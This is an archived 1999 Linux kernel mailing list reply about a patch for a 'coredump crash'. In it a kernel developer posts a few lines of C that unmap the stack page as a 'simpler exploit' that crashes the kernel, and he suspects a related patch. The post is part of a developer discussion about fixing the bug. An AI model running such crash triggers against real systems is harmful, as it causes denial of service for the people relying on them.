lkml.org 
[lkml]   [1999]   [Jan]   [27]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: [patch] 'coredump crash' fixed

theres a much simpler exploit for those interested:

#include <unistd.h>
#include <sys/mman.h>

void main (void)
{
munmap((void*)0xbffff000, 4096);
}

(the ld-so exploit had this unmap hidden implicitly in an mmap(), not
necessarily obvious at first sight.)

-- Ingo 'now where is that bag construction kit' Molnar

ps. there might be similar bugs nearby, i have not yet checked. I guess
this whole thing is a side-effect of the AVL-trees patch, it might be
wise to recheck that patch.


-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/

\
 
 \ /
  Last update: 2005-03-22 13:50    [W:0.040 / U:0.996 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site